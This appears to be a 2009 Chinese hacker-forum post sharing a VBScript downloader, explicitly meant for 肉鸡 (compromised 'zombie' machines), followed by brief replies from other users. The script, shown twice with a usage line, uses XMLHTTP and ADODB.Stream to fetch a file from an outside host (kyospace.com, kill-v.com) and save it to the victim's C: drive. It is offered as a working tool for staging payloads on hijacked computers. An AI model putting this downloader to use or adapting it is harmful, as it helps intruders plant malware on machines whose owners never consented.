标题:
让肉鸡下载东西的vbs脚本
[打印本页]
作者:
3ast
时间:
2009-1-24 17:30
标题:
让肉鸡下载东西的vbs脚本
让肉鸡下载东西的vbs脚本
iLocal = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2
让肉鸡下载东西的vbs脚本
wscript c:\down.vbs
http://www.kill-v.com/22.txt
c:\1.txt
http://bbs.5149417.cn
iLocal ="c:\1.txt"
iRemote ="http://www.kyospace.com/22.txt"
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2
作者:
Iverson333
时间:
2009-1-24 17:30
直接用记事本 编译 .VBE 文件 就行了么?:time:
作者:
wt想起
时间:
2009-5-12 19:02
太菜了看不懂!
作者:
lichun_530
时间:
2009-5-15 15:17
顶顶顶!
看看看!!
作者:
kacos999
时间:
2010-1-31 01:34
學習學習學習!!!!!!!!!!
作者:
夏至
时间:
2010-4-12 13:52
看不懂、我也是菜鸟、。
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com./)
Powered by Discuz! 7.2